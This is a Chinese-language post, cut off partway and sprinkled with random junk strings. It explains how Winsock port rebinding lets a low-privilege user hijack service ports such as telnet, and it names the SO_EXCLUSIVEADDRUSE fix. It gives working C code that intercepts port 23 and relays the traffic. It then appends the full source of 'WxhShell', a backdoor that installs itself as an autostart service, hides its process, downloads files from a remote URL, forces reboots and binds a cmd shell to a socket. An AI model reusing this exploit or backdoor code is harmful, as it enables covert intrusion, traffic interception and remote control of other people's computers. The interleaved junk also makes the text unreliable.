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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %h(%M'm? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;ZuHv {= _1RvK? ;.{ saddr.sin_family = AF_INET; E5A"sB
3f$n8>mq saddr.sin_addr.s_addr = htonl(INADDR_ANY); D5xQ CH(Y.Kj- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 02J(*_o _R|_1xa= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EKO'S+~ :LB*l5\ 这意味着什么?意味着可以进行如下的攻击: Q7e4MKy7
6p@[U>` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n CwA8AG |%5pzYe 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O*/%zr S]=.p-Am 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S0OL;[*. ZD]{HxGL! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 U:99w Y5 ;a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k?HdW(HA R|}4H*N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SVZ@'X\[M F#yn'j8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pc&dU1 ,<!*@xy7v #include `%~}p7Zu #include z9&j #include Ax\d{0/oL2 #include _\yR/W~ DWORD WINAPI ClientThread(LPVOID lpParam); ]%-U~avph int main() 4Th?q{X { pRh9+1EM; WORD wVersionRequested; [;aM8N
DWORD ret; /2d>nj WSADATA wsaData; 1P"{TMd? BOOL val; QKEtV SOCKADDR_IN saddr; T^MY w SOCKADDR_IN scaddr; wbOYtN Y@ int err; !wUznyYwt SOCKET s; '/XP4B\(E SOCKET sc; .|u`s,\ int caddsize; Q=%W- HANDLE mt; $bKXP( DWORD tid; E@otV6Wk[@ wVersionRequested = MAKEWORD( 2, 2 ); {S+?n[1r\ err = WSAStartup( wVersionRequested, &wsaData ); D=vw0Q_3Y3 if ( err != 0 ) { #b&tNZ4!_ printf("error!WSAStartup failed!\n"); qLX<[UL return -1; .3UJ*^(? } I74Rw*fB saddr.sin_family = AF_INET; h{_\okC> 2o9B >f&g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SJX9oVJeZ `-CN\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {HM[ )t0 saddr.sin_port = htons(23); y5=,q]Qjk[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {[:C_Up)f { raOuD3 printf("error!socket failed!\n"); N LQ".mM+ return -1; f U=P$s } AfhJ6cSIE val = TRUE; aaf}AIL. //SO_REUSEADDR选项就是可以实现端口重绑定的 f*"T]AX0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M `q|GY
{ XM+.Hel printf("error!setsockopt failed!\n"); i"n_oO return -1; 0+1!-Wo } Xu~N97\G //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L ?;UcCB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Kyk{:UnI //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G"m0[|XH oB!Y)f6H1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UkD\ma { [O ^/"Qk ret=GetLastError(); d])ctxB printf("error!bind failed!\n"); e0TxJ* return -1; RLL
ph } gCsN\z listen(s,2); 6
%aaK|0 while(1)
B*}]' { `WCL-OoZc5 caddsize = sizeof(scaddr); h*y+qk-!\g //接受连接请求 f^hJA Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qHgtd+
I if(sc!=INVALID_SOCKET) 4qE4 i:b { <)LR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gfN=0Xj4 if(mt==NULL) \kUQe-:he
{ ?kZ-,@h: printf("Thread Creat Failed!\n"); 3mYW] break; `Rq|*:LV } "XV@OjrE } Q_fgpjEh/t CloseHandle(mt); M0C)SU5" } _2`b$/)- closesocket(s); -Wmb
M]Z WSACleanup(); a%HNz_ro return 0; b"#S92R+ } mX.mX70|J DWORD WINAPI ClientThread(LPVOID lpParam) Xl2g Hh { 3'6 UvAXFH SOCKET ss = (SOCKET)lpParam; w[l#0ZZ SOCKET sc; rxMo7px@}I unsigned char buf[4096]; =$bF[3D SOCKADDR_IN saddr; -le^ 5M7 long num; TlyBpG=p DWORD val; F~E)w5?\O DWORD ret; 1Zp/EYWa{ //如果是隐藏端口应用的话,可以在此处加一些判断 E <j=5|0t //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6J JA"] ` saddr.sin_family = AF_INET; rxol7"2l saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g8'8"9:xC saddr.sin_port = htons(23); ";&PtLe if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YwY?tOxBe { .eVX/6, printf("error!socket failed!\n"); gn/]1NNfR return -1; O^./)#!# } )S4ga val = 100; OSUiS`k if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k0\a7$}F { xWa[qCr ret = GetLastError(); 0&|M/ return -1; [R8BcO( } r9bAbE
bI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C_ d|2C6 { ZGX"Vn|YL ret = GetLastError(); ,#;`f=aqTG return -1; oF+yh!~mM } UJp'v_hN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D?S|]]Y!q { c8 printf("error!socket connect failed!\n"); !WGQ34R { closesocket(sc); S/pU|zV[ closesocket(ss); TBJ?8W( return -1; euT=]j } ?(B}w*G~ while(1) I+kL;YdS { 3l`"(5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cy
mC?8< //如果是嗅探内容的话,可以再此处进行内容分析和记录 .Xf_U.h$*@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "8zMe L num = recv(ss,buf,4096,0); Si~wig2 if(num>0) #k>n5cR@0 send(sc,buf,num,0); S{2;PaK else if(num==0) 8'3&z- break; u&o4?]6 num = recv(sc,buf,4096,0); lQ ki58. if(num>0) ./7-[d send(ss,buf,num,0); x~Z7p)D_< else if(num==0) HES$. a break; B/lIn'= } @%u}|iF| closesocket(ss); ?uTuO
closesocket(sc); ph(LsPT- return 0 ; !E00I0W-h } />9`Mbg[G |8k^jq 5lzbg ========================================================== B3[X{n$px :$yOic}y 下边附上一个代码,,WXhSHELL a}VR>!b Z \ @9* ========================================================== zSsBbu: LR#.xFQ+ #include "stdafx.h" =M@)qy \J?&XaO= #include <stdio.h> ^hEN #include <string.h> m^ar:mK@ #include <windows.h> Xu_1r8-|=b #include <winsock2.h> 5"U5^6:T #include <winsvc.h> / M]P&Zb | #include <urlmon.h>
O\yYCi( 3ZSU^v #pragma comment (lib, "Ws2_32.lib") ]CS
N7Q+l #pragma comment (lib, "urlmon.lib") u}R|q MxGQM> #define MAX_USER 100 // 最大客户端连接数 zN+jn #define BUF_SOCK 200 // sock buffer t,XbF #define KEY_BUFF 255 // 输入 buffer zTG1 0 +YCWoX2 #define REBOOT 0 // 重启 [.$%ti*! #define SHUTDOWN 1 // 关机 {#z47Rz u|ihUE!h #define DEF_PORT 5000 // 监听端口 32J/ <daH0l0 #define REG_LEN 16 // 注册表键长度 O7Jp; #define SVC_LEN 80 // NT服务名长度 =r`E%P: Eqny'44 // 从dll定义API %(?;` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vft7-|8T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &];W#9"Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n.5M6i/~a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HH(2 &V&beq4)p // wxhshell配置信息 7{S;~VH3 struct WSCFG { 'S
v
V10$5 int ws_port; // 监听端口 ,e`n2) char ws_passstr[REG_LEN]; // 口令 X&49C:jN int ws_autoins; // 安装标记, 1=yes 0=no =.m/X> char ws_regname[REG_LEN]; // 注册表键名 qIzv|Nte char ws_svcname[REG_LEN]; // 服务名 eK3d_bF+ char ws_svcdisp[SVC_LEN]; // 服务显示名 bccf4EyQ
Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 UiK)m:NU char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8r,0Qic2K int ws_downexe; // 下载执行标记, 1=yes 0=no OaN"6Ge# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0_^3
|n char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <7ag=IgDy NgxJz
]b }; @1pfH\m I7f:T N // default Wxhshell configuration )&)tX. struct WSCFG wscfg={DEF_PORT, W Kd:O)J "xuhuanlingzhe", jM{5nRQ 1, 4|eI_u{_ "Wxhshell", @Y9tkJIt "Wxhshell", 5wvh
@Sc\ "WxhShell Service", 9Z 6 "Wrsky Windows CmdShell Service", (8W?ym "Please Input Your Password: ", pF~aR]Q 1, }.=wQ_ " http://www.wrsky.com/wxhshell.exe", R>[G6LOG "Wxhshell.exe" '2<N_)43$ }; }b<w \9AF NZ^hp\q // 消息定义模块 X1u\si%.4S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &,/-<y-S char *msg_ws_prompt="\n\r? for help\n\r#>"; {ueDwnZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +rrA>~ char *msg_ws_ext="\n\rExit."; {FN4BC`3+ char *msg_ws_end="\n\rQuit."; [NGq$5 char *msg_ws_boot="\n\rReboot..."; 4*q6#=G char *msg_ws_poff="\n\rShutdown..."; e]:(.Wb- 9 char *msg_ws_down="\n\rSave to "; A4L.bBl =G 'c % char *msg_ws_err="\n\rErr!"; J]NMqiq char *msg_ws_ok="\n\rOK!"; _*t75e$- H5gcP11r char ExeFile[MAX_PATH]; U:aaa int nUser = 0; `,c~M HANDLE handles[MAX_USER]; 1:I _;O_ int OsIsNt; leXdxpc 4 `}6W>*R SERVICE_STATUS serviceStatus; 0SZ:C(] SERVICE_STATUS_HANDLE hServiceStatusHandle; 7u%OYt
D E A;;OGJ,!\ // 函数声明 9.Sv"=5gz int Install(void); cm>+f ^4?n int Uninstall(void); Hv
=7+O$ int DownloadFile(char *sURL, SOCKET wsh); C8 $KVZ int Boot(int flag); 'L%)B-,n void HideProc(void); - l0X]&Ex int GetOsVer(void); t0ZaI E int Wxhshell(SOCKET wsl); \Dx)P[Ur void TalkWithClient(void *cs); }A<fCm7 int CmdShell(SOCKET sock); drB$q[Ak9 int StartFromService(void); q:,ck@-4 int StartWxhshell(LPSTR lpCmdLine); xZMAX}8 v _E^ !,Wz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pG$l
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^QTkre @l~MY*hp // 数据结构和表定义 S^SF!k= SERVICE_TABLE_ENTRY DispatchTable[] = 7}Jn`^! { HwBJUr91] {wscfg.ws_svcname, NTServiceMain}, #\O?|bN'q {NULL, NULL} t)l^$j!h@ }; @p9YHLxLjQ 3TT?GgQ // 自我安装 J['?ud}@ int Install(void) v-}D>)M^W { n!?u/[@ char svExeFile[MAX_PATH]; P)06<n1">Z HKEY key; dYp} R>+ strcpy(svExeFile,ExeFile); 1lHBg f_r4*#&v // 如果是win9x系统,修改注册表设为自启动 b5UIX Kim if(!OsIsNt) { Z}r9jM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' "o2;J)7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T=T1?@2C RegCloseKey(key); @@+BPLl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `g,i`< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?~rz'Pu~ RegCloseKey(key); _n!W4zwi return 0; >Te h ?P } 95BRZ!ts } d2<+Pp } JA6#qlylL else { 4mwA o JcI~8;Z@Z~ // 如果是NT以上系统,安装为系统服务 k(3FT%p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6kHb*L Je if (schSCManager!=0) >I*uo.OF { +Uf+` SC_HANDLE schService = CreateService ]*pro| ( ~#9(Q schSCManager, !l#n.Fx&3 wscfg.ws_svcname, 6^hCW`jG wscfg.ws_svcdisp, (&-!l2 SERVICE_ALL_ACCESS, 1<&nHFJ;[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZD`0(CkXb SERVICE_AUTO_START, 0^zp*u SERVICE_ERROR_NORMAL, G}gmkp]z svExeFile, j<_)Y(x> NULL, ?wbf)fbq NULL, pwr]lV$w NULL, 5s=L5]]r_j NULL, s%S; 9T NULL 'jd fUB ); C;oT0( if (schService!=0) 'n4
iW { GF^?#Jh CloseServiceHandle(schService); >`D$Jz, CloseServiceHandle(schSCManager); 5TVA1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jmh$6 N%
F strcat(svExeFile,wscfg.ws_svcname); z)]Br1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Id40yER RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j\@osjUu RegCloseKey(key); 'mU7N<Q$qQ return 0; ,L9ioYbp } C:<TJ } }|(v0] CloseServiceHandle(schSCManager); X,i^OM_ } 2sNV09id } ($*R>*6<x VW *d*! return 1; n~G-X
} A&($X)t Qwu~{tf+' // 自我卸载 137:T: int Uninstall(void) 7q|51rZz { 8d*W7>rq HKEY key; jp P'{mc ?cD2EX%( if(!OsIsNt) { >p@v'h/Cr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \} +b_J6- RegDeleteValue(key,wscfg.ws_regname); zkmfu~_) RegCloseKey(key); c:sk1I,d~^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Yt+LdG!- RegDeleteValue(key,wscfg.ws_regname); @6:J$B~)u RegCloseKey(key); $z* Y:vFP return 0; w2e9Ue~WH } >.f'_2#Z& } v* /}s :a } `%A>{ A" else { {/PiX1mn e95@4f^K2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "qv J-Y if (schSCManager!=0) W<s5rM x { <c$K3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q=Y1kcTOn if (schService!=0) UfAN)SE" { Mg76v<mv< if(DeleteService(schService)!=0) { ?wYvBFRn7" CloseServiceHandle(schService); K1*]6x, CloseServiceHandle(schSCManager); 3lD1G~ return 0; |\_d^U&` } bf1EMai" CloseServiceHandle(schService); P
gK> Z, } 7z^\}& CloseServiceHandle(schSCManager); t~@~XI5 } w*7BiZ{s< } 0)T`&u3! Ed=]RR4R return 1; /$,~|X;& } EoD[,:* Ec;{N // 从指定url下载文件 ZVX!=3VT int DownloadFile(char *sURL, SOCKET wsh) 5zR9N>!c { f+iM_MI HRESULT hr; l&LrcM char seps[]= "/"; UpIt"+d2& char *token; yCLDJ%8 char *file; |#_`aT" char myURL[MAX_PATH]; $wx)/t< char myFILE[MAX_PATH]; pz]#/Ry? iF1E 5{dH strcpy(myURL,sURL); "<5su5] token=strtok(myURL,seps); 60r4%>d while(token!=NULL) =&
.KKr { [$[1|r
*Q file=token; :M'V**A( token=strtok(NULL,seps); tV5Uz&:b } /,m!SRJ x]%'^7#v) GetCurrentDirectory(MAX_PATH,myFILE); KaGG4?=V strcat(myFILE, "\\"); }"CX` strcat(myFILE, file); S LSbEm send(wsh,myFILE,strlen(myFILE),0); }HC6m{vH( send(wsh,"...",3,0); +{F2hEYP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vPbmQh ex if(hr==S_OK) 3
2MdDa return 0; .uGvmD<;x else X[Q:c4' return 1; .*zWm ]-b`uYb } Q7vTTn\ cXY;Tw45 // 系统电源模块 q V+gQ int Boot(int flag) D3BT>zTGK { d5O_~xf& HANDLE hToken; IxQ(g#sj_k TOKEN_PRIVILEGES tkp; =A< Fcl\Rz 5o&noRIIr if(OsIsNt) { gN("{j1Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G$)f5_]7{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FhkS"y tkp.PrivilegeCount = 1; /PuN+M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SlRQi: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cB ,l=/? if(flag==REBOOT) { vm
y?8E6+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _R 6+bB$ return 0; ySEhi_)9^ } Xi~%,~ else { 1ae,s{| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GV"Hk E; return 0; VX<jg #( } -4!9cE } l#;DO9 else { 2iJ)K rw if(flag==REBOOT) { `$5 QTte if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |{a`,%mw return 0; "7&DuF$s) } 9h$08l else { jLZ^EM- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c{X:0man return 0; !lk
-MN. } :4V8Iz 71 } ".Q``d&X bI_T\Eft return 1; R
rtr\a } AsOkOS3 5UgxuuP4 // win9x进程隐藏模块 8o SNnT void HideProc(void) \(db1zmS~ { xR`W9Z5 +nj
2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3?+CP-T-j if ( hKernel != NULL ) 6(5YvT { knsTy0] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c :{#H9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g]V_)} FreeLibrary(hKernel); m@Vz42g~+ } @*VfG CQ( v,VCbmc return; R;]z/|8 } ip`oL_c jrl'?`O // 获取操作系统版本 H`:2J8 int GetOsVer(void) p!OCF]r { abW[hp OSVERSIONINFO winfo; ruKm_j#J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +=:*[JEK,U GetVersionEx(&winfo); ~g|Z6-?4Jj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B,_/'DneQK return 1; 1#D &cx6 else %\|9_=9Wn return 0; m 3Y@p$i5 } fQkfU;5 Lxg,BZV // 客户端句柄模块 :Q=tGj\G int Wxhshell(SOCKET wsl) lzE{e6 { D\ ;(BB SOCKET wsh; 5(+PIKCjC struct sockaddr_in client; U_8 Z& DWORD myID; qq,#bRe 5!b+^UR;z while(nUser<MAX_USER) $Sx(vq6( { ;Eer int nSize=sizeof(client); V8Fp1?E9S wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {#_CzI.0f if(wsh==INVALID_SOCKET) return 1; ye-EJDZN (T9Q6\sa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hT0[O if(handles[nUser]==0) <*/IV< closesocket(wsh); .yF@Ow else \|gE=5!Am= nUser++; S#{jyU9 ] } b5@sG^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v/m} {&K R_7[7/a return 0; wi gs1 } jv4O QH d^?H* // 关闭 socket AVnH|31dC~ void CloseIt(SOCKET wsh) C+m%_6< { zFba("E Z closesocket(wsh); 2d# 3LnO nUser--; Q:5^K ExitThread(0); "K9/^S_ } vh/&KTe?: ^c-8~r|y, // 客户端请求句柄 ^vHh*Ub void TalkWithClient(void *cs) MP3Vo|}3 { i!a.6Gq )/y7Fh SOCKET wsh=(SOCKET)cs; 3OlXi9>3 char pwd[SVC_LEN]; z]%c6ty char cmd[KEY_BUFF]; I,lX;~xb char chr[1]; -P.51q int i,j; %A$5mi^ sy]hMGH:3W while (nUser < MAX_USER) { a$AR ++=f7yu if(wscfg.ws_passstr) { vmj'X>Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VRs|"; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x<'<E@jpU; //ZeroMemory(pwd,KEY_BUFF); ]J(BaX4 i=0; QhJuH_f 0 while(i<SVC_LEN) { B4Fuvi hE;|VSdo // 设置超时 cp)BPg fd_set FdRead; */6lyODf struct timeval TimeOut; +L,V_z FD_ZERO(&FdRead); +7KRoF | FD_SET(wsh,&FdRead); ;H4 s[#K TimeOut.tv_sec=8; ]i:_^z)R TimeOut.tv_usec=0; [2P6XoI# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q;xJ/4 Z" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L[cP2X]NQ KbSE=3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Zg@X.z pwd =chr[0]; cFZcBiw if(chr[0]==0xd || chr[0]==0xa) { 6KRC_- pwd=0;
ogvB{R break; WqJrDj~ } jl"su:y i++; ! }>CEE } =G9I7Y@ rk-GQ#SKU // 如果是非法用户,关闭 socket fpa~~E- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I'E7mb<2 } &e6!/y& vk4Q2P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aJ"m`5]=% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~+)>D7 nCS" l5 while(1) { `*ALb|4ilG bgYUsc*uR ZeroMemory(cmd,KEY_BUFF); NXCvS0/h &\y`9QpVF // 自动支持客户端 telnet标准 AGGT]
58| j=0; !+u
K@z&G while(j<KEY_BUFF) { agkGUK/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +^DDWVp cmd[j]=chr[0]; RG.wu6Av if(chr[0]==0xa || chr[0]==0xd) { v{X<6^g cmd[j]=0; .%EYof break; I<rT\':9 } )~ 0TGy| j++; mKBO<l{S } Y:R*AOx v&qL r+_7 // 下载文件 2e9.U/9 if(strstr(cmd,"http://")) { ifcp!l+8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); \iP5.3C if(DownloadFile(cmd,wsh)) b]gVZ- send(wsh,msg_ws_err,strlen(msg_ws_err),0); RcC5_@W else \^1S:z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KL yI*` } Fs3
:NH else { w>o/)TTJL E)`:sSd9 switch(cmd[0]) { P~M[i9 V 1,(WS
F // 帮助 [w90gp1O[ case '?': { Ms#rvn!J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p ,.6sk break; T#<Q[h= } (6Ciqf8 // 安装 M@z_tR'3\ case 'i': { .JOZ2QWm< if(Install()) unih"};ou send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^_6,uBM[ else .e5d#gE0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IZLBv2m break; \n`/?\r.z } PthgxB^ // 卸载 Z2t\4|wr: case 'r': { f`)*bx if(Uninstall()) #W&o]FAA3y send(wsh,msg_ws_err,strlen(msg_ws_err),0);
O7CW#F else 15S&,$1& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y 2)W"PuG break; 6e8 gFQ"w2 } -xG6J.S // 显示 wxhshell 所在路径 Bi2 c5[3 case 'p': { sh R| char svExeFile[MAX_PATH]; gyb99c,) strcpy(svExeFile,"\n\r"); UiVGOQq strcat(svExeFile,ExeFile); d_Jj&:"l send(wsh,svExeFile,strlen(svExeFile),0); "BVp37m;? break; ve+bR } zW\s{ // 重启 H,c`=Ii3 case 'b': { Gr 4v&Mz: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o*Xfgc if(Boot(REBOOT)) 9Z2 1|5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); JA*+F1s else { 0'HQ=pP closesocket(wsh); kno[ !A7_6 ExitThread(0); }i{qRx"4 } O}w%$ mq break; zu.B>INe } Wb>;L@jB7 // 关机 1_b*j-j case 'd': { :}yT?LIyP send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $H)QUFyC if(Boot(SHUTDOWN)) t.dr<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |dz"uIrT else { R+U$;r8l closesocket(wsh); hbg$u$1`, ExitThread(0); /wax5FS'I, } 1+gF fKq break; |;7mDhj= } b8_F2 // 获取shell KIi:5Y case 's': { ]B UirJ,2 CmdShell(wsh); eXMIRus( closesocket(wsh); -r_,#LR!l ExitThread(0); gXlcB~! break; x9AFN } #%2 d;V // 退出 yx|{:Li! case 'x': { qDG2rFu&[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T@=C2
1 CloseIt(wsh); .9J}Z^FD break; Q`W2\Kod] } P6O\\,B1A // 离开 $~iZ aX8& case 'q': { zPc"r$'0U send(wsh,msg_ws_end,strlen(msg_ws_end),0); x+j@YWDpG" closesocket(wsh); */l;e<E WSACleanup(); aG83@ABx exit(1); "a=Hr4C*r break; "p*'HQ } tfN[-3)Z } @ ?M\[qeF@ } Q#G xo i6KB\W2 // 提示信息 Q3(ulgl] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @,n)1*{P } ol*,&C:{ } D;NL*4zt F3EAjO)ch return; +8C}%6aX } Z[OX{_2]K PMpq>$6b7 // shell模块句柄 0F@ ~[W|2 int CmdShell(SOCKET sock) a_V\[V{R= { _FYA? d} STARTUPINFO si; Hf@4p' ZeroMemory(&si,sizeof(si)); e`s1z|h si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '9Z`y_~)G si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cZQ8[I PROCESS_INFORMATION ProcessInfo; W~0rSVD$<z char cmdline[]="cmd"; =T,Q7Dh CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = V2Rq(jH return 0; 5XUm} D$ } Ga5*tWj xy]O8>b // 自身启动模式 l)vC=V6MG int StartFromService(void) %+=;4tHJ { -R]0cefC<f typedef struct j(Lz& *4 { t\hnnu`Pq DWORD ExitStatus; W06#|8,{v DWORD PebBaseAddress; Zs
